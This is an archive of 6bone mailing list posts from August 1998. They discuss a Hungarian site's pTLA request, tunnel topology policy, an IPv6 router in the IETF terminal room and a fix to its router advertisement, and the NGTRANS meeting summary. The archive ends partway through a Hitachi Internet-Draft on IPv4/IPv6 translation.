>Brief description about our site: http://www.ipv6.fsz.bme.hu/ 
>
>
>> 1. Must have experience with IPv6 in the 6bone, at least as a leaf site,
>>    and preferably as an NLA transit under a pTLA.
>
>We are connected to the 6bone since early 1997, as transit site under
>SURFNET and SWITCH. We are providing transit services for several leaf
>sites in Hungary. We have experience with several host and router IPv6
>implementations.
>
>> 2. Must have the ability and intent to provide "production-like" 6bone 
>>    backbone service to provide a robust and operationally reliable 6bone 
>>    backbone. 
>
>We are currently providing services for several sites, and we are planning
>to increase this number. We are constantly enhancing our IPv6 network and
>we have the necessary network infrastructure to do this. 
>
>> 3. Must have a potential "user community" that would be served by
>>    becoming a pTLA, e.g., the requester is a major player in a region,
>>    country or focus of interest. 
>
>Our site is part of the Hungarian Academic IP network, our main "user
>community" is the other academic institutions using IPv6, as well as
>other sites interested in IPv6.
>
>> 4. Must commit to abide by whatever the 6bone backbone operational rules
>>     and policies are (currently there are no formal ones, but the Alain
>>     Duran draft is a start in trying to define some). 
>
>We state that we will commit to abide to these rules.
>
>
>Thank you,
>
>	Szabolcs Szigeti
>	EE MSc
>	Dept. of Control Engineering and Information Technology, TUB
> 
-end

From 6bone-owner  Mon Aug 24 20:05:43 1998
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Date: Mon, 24 Aug 1998 23:04:11 -0400
To: ietf@ietf.org, 6bone@ISI.EDU, ngtrans@sunroof.Eng.Sun.COM,
        ipng@sunroof.Eng.Sun.COM, c2-tech@canarie.ca
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: ipv6 connections available in the terminal room of the ietf 
  meeting
Cc: Florent.Parent@viagenie.qc.ca
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Hi,

we have configured an ipv6 router on the network of the ietf terminal room.
 This router is connected to our ipv6 router on Viagénie-network (which is
one of the pTLA on the 6bone) by a ipv6 over ipv4 tunnel, so that it is
connected to the 6bone. Anybody who have an IPv6 stack can automatically
get an ipv6 address without any configuration to get connected to the
6bone. You will receive an address in the viagénie net range
3ffe:0b00:c18:2::/64.

The router is up since 20h00 monday 24th and will be there all week long.

We've tested both freebsd inria ipv6 and Microsoft NT ipv6 implementations
on our portables and were able to connect to any ipv6 host on the 6bone.

The idea of this service came from my collegue Florent Parent.

We would like to hear anybody who tried this service. Please mention your
implementation.

Have fun, Marc.


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Mon Aug 24 22:14:21 1998
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Date: Tue, 25 Aug 1998 13:14:05 +0800 (SGT)
From: Rajiv M Ranganath <rajiv@cir.nus.edu.sg>
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hi all,
       I have setup a new 6bone testing tools site, to test your 6bone
connectivity from my part of the world. It is available at,

       http://www.6bone.cir.nus.edu.sg/testing-tools.html

Currently "ping", "traceroute" and "whois" are the tools that have been
made available. BGP4+ stats should be available once we get bgp
connectivity up with our provider. Feedback about this website will be
greatly appreciated.

thank you,

regards,
rajiv
            


From 6bone-owner  Tue Aug 25 04:31:11 1998
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Date: Tue, 25 Aug 1998 14:26:43 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU
Cc: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
Subject: Re: Re: pTLA request
Reply-To: Y.Adamopoulos@noc.ntua.gr
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Organization: NTUA-NOC, National Technical University of Athens, GREECE 
X-Disclaimer: My opinions do not necessarily reflect those of my employer.
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On Mon, Aug 24, 1998 at 07:45:39AM -0700, Bob Fink wrote:
> 
> Please send your comments on this to the list. If approved, I would like to assign the pTLA by 8 Sep.
> 

I think they should be assigned the pTLA.  But, just like in our case (GRNET,
3FFE:2D00::), they should open more tunnels the just with SWITCH and SURFNET.

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Tue Aug 25 08:49:50 1998
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To: Y.Adamopoulos@noc.ntua.gr
Cc: Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU,
        "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>,
        Bertrand.Buclin@ch.att.com
Subject: How many Tunnels [Re: Re: pTLA request]
References: <Pine.SUN.3.96.980824112213.14599F-100000@bagira.fsz.bme.hu > <1308177754-29959145@cnrmail.lbl.gov> <19980825142643.B7654@noc.ntua.gr>
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From: Simon Leinen <simon@switch.ch>
In-Reply-To: Yiorgos Adamopoulos's message of Tue, 25 Aug 1998 14:26:43 +0300
Date: 25 Aug 1998 17:47:30 +0200
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Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr> writes:
> I think they should be assigned the pTLA.  But, just like in our
> case (GRNET, 3FFE:2D00::), they should open more tunnels the just
> with SWITCH and SURFNET.

Yiorgos raised an interesting point here: How many tunnels should
pTLA/transit sites have to other sites.

There seems to be a tendency to build a full mesh between backbone
sites.  I think this is very undesirable, because it makes the 6bone
less realistic as a prototype for routing on a global IPv6 network:

* The diameter of the network is kept artificially small.
* Abundance of tunnels introduces an unrealistic level of redundancy,
  which reduces the pressure on sites to fix routing problems to a
  given neighbor.
* Some "single hops" over the 6bone represent many many hops over the
  IPv4 Internet, sometimes including congested subpaths.  Those
  "shortcuts" attract transit traffic that could use a different path
  consisting of several hops between 6bone neighbors that are actually
  close to each other in the IPv4 Internet topology.  This has a bad
  impact on global 6bone connectivity.

Personally I would prefer the 6bone topology to resemble the IPv4
topology closer than is the case today.  SWITCH's policy as a pTLA has
been to set up tunnels to other networks that we either peer with or
that we have good connectivity with.  In particular, we try to avoid
the "shortcuts" I mentioned above, as well as links that regularly
experience congestion.

Is there any opinion on mentioning these problems in the "6bone
Routing Practice" I-D, not as a recommendation but as a problem
statement?

Personally, I find BME-FSZ's connectivity quite sufficient - SURFNET
and SWITCH are both connected to Hungary over few hops the TEN-34
research backbone.
-- 
Simon Leinen				             simon@switch.ch
SWITCH				      http://www.switch.ch/lan/ipv6/

From 6bone-owner  Tue Aug 25 09:14:10 1998
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cc: 6bone@ISI.EDU, ngtrans@sunroof.Eng.Sun.COM, ipng@sunroof.Eng.Sun.COM,
        c2-tech@canarie.ca, Florent.Parent@viagenie.qc.ca
In-reply-to: Marc.Blanchet's message of Mon, 24 Aug 98 23:04:11 -0400.
      <3.0.5.32.19980824230411.02dc8d70@mail.viagenie.qc.ca> 
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Subject: Re: ipv6 connections available in the terminal room of the ietf meeting
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cc: itojun@itojun.org
From: Jun-ichiro itojun Itoh <itojun@iijlab.net>
Date: Wed, 26 Aug 1998 01:13:33 +0900
Message-ID: <7079.904061613@cardamom.itojun.org>
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>we have configured an ipv6 router on the network of the ietf terminal room.
> This router is connected to our ipv6 router on Viag nie-network (which is
>one of the pTLA on the 6bone) by a ipv6 over ipv4 tunnel, so that it is
>connected to the 6bone. Anybody who have an IPv6 stack can automatically
>get an ipv6 address without any configuration to get connected to the
>6bone. You will receive an address in the viag nie net range
>3ffe:0b00:c18:2::/64.
(snip)
>We would like to hear anybody who tried this service. Please mention your
>implementation.

	KAME (http://www.kame.net/) works right with your router, and I can
	perform ssh6 toward my home.  Thanks for your effort,

itojun@kame.net
jun-ichiro itojun itoh

From 6bone-owner  Tue Aug 25 09:26:47 1998
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Date: Tue, 25 Aug 1998 09:26:27 -0700
To: Simon Leinen <simon@switch.ch>, Y.Adamopoulos@noc.ntua.gr
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: How many Tunnels [Re: Re: pTLA request]
Cc: 6bone@ISI.EDU, "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>,
        Bertrand.Buclin@ch.att.com
In-Reply-To: <aa90kd5ai5.fsf_-_@limmat.switch.ch>
References: <Yiorgos Adamopoulos's message of Tue, 25 Aug 1998 14:26:43 +0300>
 <Pine.SUN.3.96.980824112213.14599F-100000@bagira.fsz.bme.hu >
 <1308177754-29959145@cnrmail.lbl.gov>
 <19980825142643.B7654@noc.ntua.gr>
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Simon,

At 05:47 PM 8/25/98 +0200, Simon Leinen wrote:
>Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr> writes:
>> I think they should be assigned the pTLA.  But, just like in our
>> case (GRNET, 3FFE:2D00::), they should open more tunnels the just
>> with SWITCH and SURFNET.
>
>Yiorgos raised an interesting point here: How many tunnels should
>pTLA/transit sites have to other sites.
>
>There seems to be a tendency to build a full mesh between backbone
>sites.  I think this is very undesirable, because it makes the 6bone
>less realistic as a prototype for routing on a global IPv6 network:
>
>* The diameter of the network is kept artificially small.
>* Abundance of tunnels introduces an unrealistic level of redundancy,
>  which reduces the pressure on sites to fix routing problems to a
>  given neighbor.
>* Some "single hops" over the 6bone represent many many hops over the
>  IPv4 Internet, sometimes including congested subpaths.  Those
>  "shortcuts" attract transit traffic that could use a different path
>  consisting of several hops between 6bone neighbors that are actually
>  close to each other in the IPv4 Internet topology.  This has a bad
>  impact on global 6bone connectivity.
>
>Personally I would prefer the 6bone topology to resemble the IPv4
>topology closer than is the case today.  SWITCH's policy as a pTLA has
>been to set up tunnels to other networks that we either peer with or
>that we have good connectivity with.  In particular, we try to avoid
>the "shortcuts" I mentioned above, as well as links that regularly
>experience congestion.

Actually there is not anything near a full mesh between pTLA sites.  The average seems to be in the 3 to 4 range.  Only a few establish many peerings, like UUNET-UK with 15 or so.  In fact I believe that many/most 6bone pTLAs try to peer realistically based on service quality.  Though I should defer to others to respond to this whom are more active in these options and choices for their own 6bone backbone peering.


>Is there any opinion on mentioning these problems in the "6bone
>Routing Practice" I-D, not as a recommendation but as a problem
>statement?

Not the place for a problem statement, though it might ellaborate a bit in the section 4 comments on at least 3 peerings.  Maybe saying that a full mesh is NOT the goal (Bertrand?)


>Personally, I find BME-FSZ's connectivity quite sufficient - SURFNET
>and SWITCH are both connected to Hungary over few hops the TEN-34
>research backbone.

Thanks for the comments.


Bob

From 6bone-owner  Tue Aug 25 09:26:50 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: "'Simon Leinen'" <simon@switch.ch>, Y.Adamopoulos@noc.ntua.gr
Cc: Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU,
        "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
Subject: RE: How many Tunnels [Re: Re: pTLA request]
Date: Tue, 25 Aug 1998 17:26:29 +0100
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> Is there any opinion on mentioning these problems in the "6bone
> Routing Practice" I-D, not as a recommendation but as a problem
> statement?
> 
Simon,

You're making a set of good points. The I-D currently recommends that pTLAs
have at least 3 peerings with other pTLAs to maintain a good level of
service. This was discussed on the mailing list back in April.

If some pTLAs want to maintain a larger set of peerings, this is fine by me
(I'm actually one of those maintaining a larger set, currently we have about
12 peerings with other pTLAs). There are benefits in doing this to:

- I do this because I have nodes both in Europe and in the US, and this way
I can provide a transit service and experiment with what it takes. UUNET-UK
is in the same situation. I agree though with your point if a pTLA has only
one site, in that case establishing peerings with entities all over the
world is counter productive.
- Abundance of tunnels also allows us to work on the issue raised by the
wider propagation of routing problems. This is particularly true if  you
operate a distributed pTLA.
- Ideally, having a 6bone topology matching the underlying IPv4 Internet
topology is a neat objective. We've been trying to do that for a while with
little success. Remember that the 6Bone connects entities doing research on
Ipv6, not yet operators.

CHeers, Bertrand

From 6bone-owner  Tue Aug 25 20:09:04 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Leaf node access.
Date: Wed, 26 Aug 1998 13:08:45 +1100
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I'm still trying to get leaf node access.  If anyone who is willing to offer 
me access to the 6bone, could they please contact me.  There seems to be no 
clear good access point at the moment.  Rather than beat on doors 
individually.

Some info on our location IPv4 wise.

We are connected to the internet in three places.  

Two links in Aus through Telstra big pond, and through Connect.com.au.  Both 
of these are major backbones in Aus.  Connect is peered with Telstra as well, 
and both of these have good international connectivity via Telstra's links to 
the US.  I understand that this link is peered via MCI in California.

We also have a direct frame relay (512Kbps) through to our LA office which has 
a 10Mbps connection to clubnet who in turn have several T1's.  A 
substantial part of our incoming traffic comes through this link.  This may 
change should the price/performance issues related to the link not improve.

So anywhere in the California region should get through to us quite well.

Peter

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.
Phone: +61-362-450220     Fax: +61-362-450210

From 6bone-owner  Wed Aug 26 02:12:43 1998
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To: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
Cc: "'Simon Leinen'" <simon@switch.ch>, Y.Adamopoulos@noc.ntua.gr,
        Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU,
        "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
Subject: Re: How many Tunnels [Re: Re: pTLA request]
References: <71203AED30DAD111AFEF0000C09940BE088778@gvamsx1.ch.att.com>
From: Lars Albertsson <lalle@sics.se>
Date: 26 Aug 1998 11:12:24 +0200
In-Reply-To: "Buclin, Bertrand"'s message of Tue, 25 Aug 1998 17:26:29 +0100
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> - Ideally, having a 6bone topology matching the underlying IPv4 Internet
> topology is a neat objective. We've been trying to do that for a while with
> little success. Remember that the 6Bone connects entities doing research on
> Ipv6, not yet operators.

Is it not possible to reflect IPv4 topology in BGP? An example would
be mapping the IPv4 hop count for a tunnel to BGP metric.

/Lalle

From 6bone-owner  Wed Aug 26 02:44:40 1998
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Date: Wed, 26 Aug 1998 11:44:08 +0200 (MET DST)
From: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
To: Simon Leinen <simon@switch.ch>
cc: Y.Adamopoulos@noc.ntua.gr, Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU,
        Bertrand.Buclin@ch.att.com
Subject: Re: How many Tunnels [Re: Re: pTLA request]
In-Reply-To: <aa90kd5ai5.fsf_-_@limmat.switch.ch>
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On 25 Aug 1998, Simon Leinen wrote:

> Is there any opinion on mentioning these problems in the "6bone
> Routing Practice" I-D, not as a recommendation but as a problem
> statement?

I agree with Simon, that this would be a good idea. The importance of good
IPv4 connectivity for a tunnel should be stressed, i think, especially as
6bone expands.

I would even suggest, that some requirements should be set up for for
tunnels, so that routing would somehow reflect the underlying ipv4 links'
parameters (rtt or hops).

> Personally, I find BME-FSZ's connectivity quite sufficient - SURFNET
> and SWITCH are both connected to Hungary over few hops the TEN-34
> research backbone.

Yes, we have ipv4 ping times around 35ms (11 hops) to SWITCH, while around
180ms (16 hops) to CICNET, with whom we also have a tunnel. In the
meantime, they are all one hop away in ipv6. 

Szabolcs




From 6bone-owner  Wed Aug 26 14:30:54 1998
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Subject: Re: (IPng 6336) Re: ipv6 connections available in the terminal room
	 of the ietf meeting 
cc: itojun@itojun.org
Date: Thu, 27 Aug 1998 06:30:14 +0900
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From: Jun-ichiro itojun Itoh <itojun@itojun.org>
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>>we have configured an ipv6 router on the network of the ietf terminal room.
>> This router is connected to our ipv6 router on Viag nie-network (which is
>>one of the pTLA on the 6bone) by a ipv6 over ipv4 tunnel, so that it is
>>connected to the 6bone. Anybody who have an IPv6 stack can automatically
>>get an ipv6 address without any configuration to get connected to the
>>6bone. You will receive an address in the viag nie net range
>>3ffe:0b00:c18:2::/64.
>(snip)
>>We would like to hear anybody who tried this service. Please mention your
>>implementation.
>	KAME (http://www.kame.net/) works right with your router, and I can
>	perform ssh6 toward my home.  Thanks for your effort,

	It does not work since lunchtime of Wednesday, since autonomous bit
	of prefix information is not set.

	(I once thought that it is a KAME local problem, but it seems to be
	cisco problem...)

itojun


---
06:20:11.995020 fe80::200:cff:fe34:6f1b > fe80::200:86ff:fe05:80da: icmp6: router advertisement(chlim=255,  router_ltime=1800, reachable_time=0, retrans_time=0)(src lladdr: 0:0:c:34:6f:1b)(prefix info:  valid_ltime=86400, preffered_ltime=86400, prefix=3ffe:b00:c18:2::/64) [pri 0x7] (len 56, hlim 255)
			6700 0000 0038 3aff fe80 0000 0000 0000
			0200 0cff fe34 6f1b fe80 0000 0000 0000
			0200 86ff fe05 80da 8600 38e3 ff00 0708
			0000 0000 0000 0000 0101 0000 0c34 6f1b
			0304 4000 0001 5180 0001 5180 0000 0000
			       ~~ has to be 0x40
			3ffe 0b00 0c18 0002 0000 0000 0000 0000

From 6bone-owner  Wed Aug 26 16:12:32 1998
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Date: Wed, 26 Aug 1998 19:05:54 -0400 (EDT)
From: Florent Parent <parent@viagenie.qc.ca>
To: Jun-ichiro itojun Itoh <itojun@itojun.org>
cc: 6bone@ISI.EDU, ngtrans@sunroof.Eng.Sun.COM, ipng@sunroof.Eng.Sun.COM,
        c2-tech@canarie.ca
Subject: Re: (ngtrans) Re: ipv6 connections available in the terminal room  of the ietf meeting 
In-Reply-To: <936.904167014@turmeric.itojun.org>
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hi,

Fixed.  Thanks for reporting it !

Florent.

On Thu, 27 Aug 1998, Jun-ichiro itojun Itoh wrote:
> 
> >>We would like to hear anybody who tried this service. Please mention your
> >>implementation.
> >	KAME (http://www.kame.net/) works right with your router, and I can
> >	perform ssh6 toward my home.  Thanks for your effort,
> 
> 	It does not work since lunchtime of Wednesday, since autonomous bit
> 	of prefix information is not set.
> 
> 	(I once thought that it is a KAME local problem, but it seems to be
> 	cisco problem...)
> 
> itojun
> 
> 
> ---
> 06:20:11.995020 fe80::200:cff:fe34:6f1b > fe80::200:86ff:fe05:80da: icmp6: router advertisement(chlim=255,  router_ltime=1800, reachable_time=0, retrans_time=0)(src lladdr: 0:0:c:34:6f:1b)(prefix info:  valid_ltime=86400, preffered_ltime=86400, prefix=3ffe:b00:c18:2::/64) [pri 0x7] (len 56, hlim 255)
> 			6700 0000 0038 3aff fe80 0000 0000 0000
> 			0200 0cff fe34 6f1b fe80 0000 0000 0000
> 			0200 86ff fe05 80da 8600 38e3 ff00 0708
> 			0000 0000 0000 0000 0101 0000 0c34 6f1b
> 			0304 4000 0001 5180 0001 5180 0000 0000
> 			       ~~ has to be 0x40
> 			3ffe 0b00 0c18 0002 0000 0000 0000 0000
> 

--
Florent Parent                     Florent.Parent@viagenie.qc.ca
Viagénie inc.                      http://www.viagenie.qc.ca
3107 des hôtels                    tél.: 418-656-9254 
Ste-Foy, Québec, Canada, G1W 4W5   fax.: 418-656-0183
PGP fingerprint = D2 EE 61 51 D7 49 0D 07  69 BE AA 47 1D F4 6D F4


From 6bone-owner  Wed Aug 26 16:36:10 1998
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To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
From: Bob Fink <rlfink@lbl.gov>
Subject: ngrans summary, chicago IETF
Cc: Tony Hain <tonyhain@microsoft.com>, Bob Gilligan <gilligan@freegate.net>,
        Bob Fink <rlfink@lbl.gov>, ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
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Summary of NGTRANS WG Meeting - 25 August 1998 - Chicago IETF

Chairs: Bob Fink, Bob Gilligan and Tony Hain

Attendance: 218 signed in, more than 250 actually present

Marc Blanchet, of Viagenie, announced that he had placed a Cisco IPv6 capable router on the IETF terminal room network for anyone's use to reach the 6bone. The KAME project's IPv6 stack operating on a unix workstation in the terminal room was soon operating over this router using ssh6 back to Japan.  Congrats, folks!

Tony Hain discussed changes that will be made to the ngtrans charter to more accurately reflect the actual work of the group, which is to develop tools and advice to aid in the eventual transition to IPv6, and to make clear that it is not to specify timelines, plans and policies for such a conversion.

Bob Fink discussed the processing of drafts beyond RFC 1933, noting that Experimental will be the preferred status of tools such as SIIT and NAT-PT, and Informational for practice/advice such as 6bone Routing Practice. The Experimental status will allow various ideas to be tried out without full understanding of their final role in transition to IPv6.

Erik Nordmark presented recent changes in the "IPv6 Transitions Mechanisms" draft <draft-ietf-ngtrans-mech-01.txt> for advancement to replace RFC 1933. He also presented a few remaining issues to be resolved on the mailing list. As soon as Erik finishes these few remaining issues up a working group last call will be done to approve sending the draft in to replace the current version, RFC 1933, which is at Proposed Standard status.

Erik Nordmark presented recent changes in the "Stateless IP/ICMP Translator (SIIT)" draft <draft-ietf-ngtrans-header-trans-02.txt> for advancement to Experimental RFC. A working group last call for comments will now be made to send this in for processing as Experimental.

George Tsirtsis presented recent changes in the "Network Address Translation-Protocol Translation (NAT-PT)" draft <draft-ietf-ngtrans-natpt-02.txt> for advancement to Experimental RFC. A working group last call for comments will now be made to send this in for processing as Experimental.

Bertrand Buclin presented recent changes in the "6bone Routing Practices" draft <draft-ietf-ngtrans-6bone-routing-01.txt> for advancement to Informational RFC. A working group last call for comments will now be made to send this in for processing as Informational. 

Kazuaki Tsuchiya presented the Hitachi protocol exchange software for Windows95/98/NT4 systems based on their draft <draft-tsuchiya-ipv4-ipv6-translator-00.txt>. This software is available now for use at http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm. The draft of this work should move forward through ngtrans to Experimental RFC.

David Kessens and Bob Fink gave a brief review of the status of the 6bone. There are now 303 sites in 36 countries participating. There are 47 sites participating as backbone sites.

Greg Miller presented the vBNS 6bone plans, which basically is to provide native IPv6 transport across the US with IPv6 routers located in the Wash. DC, Chicago and San Francisco Bay areas operating over OC3c links into the vBNS OC12c ATM network. This will make a full native cross country IPv6 backbone available to the 6bone!  See http://www.vbns.net/IPv6/index.html for more information.

Ivano Guardini presented his new ASpath-tree tool features for monitoring BGP4+ routing inside the 6bone. These tools are up and available at http://carmen.cselt.it/ipv6/bgp/index.htm.
 
Two updated drafts were then presented from previous work presented at the AATN BOF at the previous IETF as a courtesy to that group as they could not easily schedule there own meeting at this IETF.

Gabriel Montenegro presented the "Negotiated Address Reuse" draft <draft-montenegro-aatn-nar-00.txt>.

Michael Borella presented the "Distributed Network Address Translation" draft <draft-borella-aatn-dnat-00.txt>

It is most likely that work on these two drafts will continue elsewhere, unless they have more ready transition application to IPv6 than currently observed.

-end




From 6bone-owner  Wed Aug 26 16:39:50 1998
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	(envelope-from pete@trumpet.com.au)
To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Re: Leaf node access.
Date: Thu, 27 Aug 1998 09:44:24 +1100
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On Tue, 25 Aug 1998, Peter Grehan wrote:

> Hi,
> 
> Maybe a dumb question, but are we going to see v6 Trumpet 
> applications anytime soon ?
> 
> later,
> 
> Peter.
> 
Yes, you guessed right.  I am in the throws of building basic IPv6 into
Winsock 4.0. Only a few days away from a working stack.

Once that is running, I'll look at porting our full Fanfare internet
server suite to IPv6. Currently in win32 there is SMTP, POP3, Radius, FTP,
HTTP.  In win3.x the above plus DNS & News.

There is also a possibility of porting our latest mail reader to Ipv6 if
anyone is interested.


Peter



From 6bone-owner  Fri Aug 28 09:00:39 1998
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Date: Fri, 28 Aug 1998 06:21:48 -0700
To: ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: last call for Hitachi's IPv6 over IPv4 Xlator draft for
  Experimental RFC forwarding
Cc: 6bone@ISI.EDU
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ngtrans,

The following I-D by Kazuaki Tsuchiya and others of Hitachi and WIDE has been presented in the past and now has an experimental implementation available (announced at this week's ngtrans meeting in Chicago). Thus I want us to ready this for being submitted for Experimental RFC status, so this is the equivalent of last call before forwarding to the IESG.

Please send your comments to the ngtrans list by 11 September.

For your refernce, I have included the RFC 2026 "Internet Standards Process" information on Experimental status:

>4.2.1  Experimental
>   The "Experimental" designation typically denotes a specification that
>   is part of some research or development effort.  Such a specification
>   is published for the general information of the Internet technical
>   community and as an archival record of the work, subject only to
>   editorial considerations and to verification that there has been
>   adequate coordination with the standards process (see below).  An
>   Experimental specification may be the output of an organized Internet
>   research effort (e.g., a Research Group of the IRTF), an IETF Working
>   Group, or it may be an individual contribution.


Thanks,

Bob
_____________________________________cut here___________________________
INTERNET-DRAFT                                      K. Tsuchiya, Hitachi
                                                    M. Sumikawa, Hitachi
Expires in six month                                K. Watanabe, Hitachi
                                                    Y. Atarashi, Hitachi
                                                    T. Miyamoto, Hitachi
                                                        K. Yamamoto, IIJ
                                               J. Murai, Keio University


            A Communication Mechanism between IPv4 and IPv6

              <draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt>

Status of this Memo

    This document is an Internet-Draft. Internet-Drafts are working
    documents of the Internet Engineering Task Force (IETF), its areas,
    and its working groups. Note that other groups may also distribute
    working documents as Internet-Drafts.

    Internet-Drafts are draft documents valid for a maximum of six
    months and may be updated, replaced, or obsoleted by other documents
    at any time.  It is inappropriate to use Internet-Drafts as
    reference material or to cite them other than as ``work in
    progress.''

    To learn the current status of any Internet-Draft, please check the
    ``1id-abstracts.txt'' listing contained in the Internet-Drafts
    Shadow Directories on ds.internic.net (US East Coast), nic.nordu.net
    (Europe), ftp.isi.edu (US West Coast), or munnari.oz.au (Pacific
    Rim).

Abstract

    In the late stage of the transition from IPv4 to IPv6, IPv4 lands
    are interconnected by IPv6 ocean and it is necessary for an IPv4
    node and an IPv6 to communicate directly. This memo proposes a
    mechanism to enable such direct communication with extension name
    servers, an address mapper, and translators for each IPv4 land.


1. Introduction

    RFC1933 [TRANS-MECH] proposed mechanisms to transit IPv4 [IPv4] to
    IPv6 [IPv6], including dual stack and tunneling, for the early
    stage. IPv6 nodes are assumed to have IPv4 stack and IPv4 addresses.
    In the late stage of the transition, however, the space of IPv4



Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 1]
INTERNET-DRAFT                                             August 1998


    address will be exhausted. So, an IPv4 address cannot be assigned to
    dual-stack hosts. Moreover, IPv6-only hosts will appear for cost
    reasons. It is expected that IPv4 hosts will retain for a long time,
    even after appearance of IPv6-only hosts. Therefore, it is highly
    desired to develop a mechanism to enable a communication between an
    IPv4 host and an IPv6 host directly.

    Though a header conversion mechanism is defined in [HDRCNV],
    interaction for an IPv4 host, an IPv6 host, a header conversion
    router, and name servers is not mentioned. This memo describes an
    entire scheme of direct communications between IPv4 hosts and IPv6
    hosts. The scheme is applicable to environments where there are
    multiple name servers and multiple site boundary routes thanks to
    one "address mapper".  It is not necessary to modify IPv4 hosts and
    IPv6 hosts.

    This document uses the words defined in [IPV4], [IPV6], and
    [TRANS-MECH].

2. Components

    In the late stage of the transition, IPv4 "land"s are interconnected
    by IPv6 "ocean". A set of IPv4-only nodes in an organization is an
    example of IPv6 island.

    The proposed system consists of extension name servers, one address
    mapper, and translators. To implement communication between IPv4
    nodes and IPv6 nodes, each IPv4 island needs to install such
    components.

    Extension name servers have both IPv4 stack and IPv6 stack and
    provides name service to IPv4 nodes and IPv6 nodes. Translators also
    have dual-stack functionality and translates "language" of IPv4
    nodes and that of IPv6 nodes. The address mapper is communicates
    only with the extension name servers and the translators.














Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 2]
INTERNET-DRAFT                                             August 1998


    Figure 1 illustrates an IPv4 land which installed the proposed
    system.

      +---------+                                +-------- //
      |IPv4 node|                                |
      +----+----+                                |
           |                                     |
    +------+------+                              |
    |             |                              |
    |An IPv4 land |                              | IPv6 ocean
    |             |                              |
    |             |  +------------------------+  |         +---------+
    |             +--+ extension name servers +--+         |IPv6 node|
    |             |  +------------+-----------+  |         +---------+
    |             |               |              |
    |             |  +------------+-----------+  |         +---------+

    |             |  |   one address mapper   |  |         |IPv6 node|
    |             |  +------------+-----------+  |         +---------+
    |             |               |              |
    |             |  +------------+-----------+  |         +---------+
    |             +--+       translators      +--+         |IPv6 node|
    |             |  +------------------------+  |         +---------+
    |             |                              |
    +------+------+                              |
           |                                     |
      +----+----+                                |
      |IPv4 node|                                +-------- //
      +---------+

                                Figure 1


2.1 Translator between IPv4 and IPv6

    The followings are examples of Translator between IPv4 and IPv6.

    (1) Proxy gateway

        An proxy gateway locates between an IPv4 host and an IPv6 host
        and establishes both an IPv4 connection to the IPv4 host and an
        IPv6 connection to the IPv6 host. The proxy gateway relays data
        from the IPv4 host to the IPv6 host and vice versa.

    (2) Header conversion router

        A header conversion router locates between an IPv4 host and an



Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 3]
INTERNET-DRAFT                                             August 1998


        IPv6 host. When the router receives an IPv4 packet, the router
        converts its IPv4 header to an IPv6 header then forwards it.
        When the router receives an IPv6 packet, the router converts its
        IPv6 header to an IPv4 header then fragments the packet if
        necessary and forwards it.

2.2 Extension Name Server

    Extension name servers returns a "proper" answer in a response to
    IPv4 node's request or IPv6 node's request.

    An IPv4 node typically requests one of extension name servers to
    resolve 'A' record correspond to a host name. If 'A' record is
    resolved, the server returns it. If only 'AAAA' record is available,
    the server requests an address mapper to assign one IPv4 address
    correspond to its IPv6 address. Then the server returns the assigned
    IPv4 address to the IPv4 node.

    An IPv6 node typically requests one of extension name servers to
    resolve 'AAAA' record correspond to a host name. If 'AAAA' record is
    resolved, the server returns it. If only 'A' record is available,
    the server requests the address mapper to assign one IPv6 address
    correspond to its IPv4 address. Then the server returns the assigned
    IPv6 address to IPv6 node.

2.3 Address Mapper

    An address mapper maintains an IPv4 address spool and an IPv6
    address spool. An example of the IPv4 address spool is private
    addresses(e.g number 10). An example of the IPv6 address spool is a
    part of IPv6 space assigned to the organization where the IPv4 land
    locates inside.

    When an extension name server or a translator requests one IPv6
    address for an IPv4 address, the address mapper selects one IPv6
    address from the IPv6 address spool and returns it.


    When an extension name server or a translator requests one IPv4
    address for an IPv6 address, the address mapper selects one IPv4
    address from the IPv4 address spool and returns it.

3. Interaction Examples

    The following subsection explains communication from an IPv4 node to
    an IPv6 node and communication from an IPv6 node to an IPv4 node,
    respectively.



Tsuchiya      draft-ietf-ngtrans-ipv4-ipv6-xlator-00.txt      [Page 4]
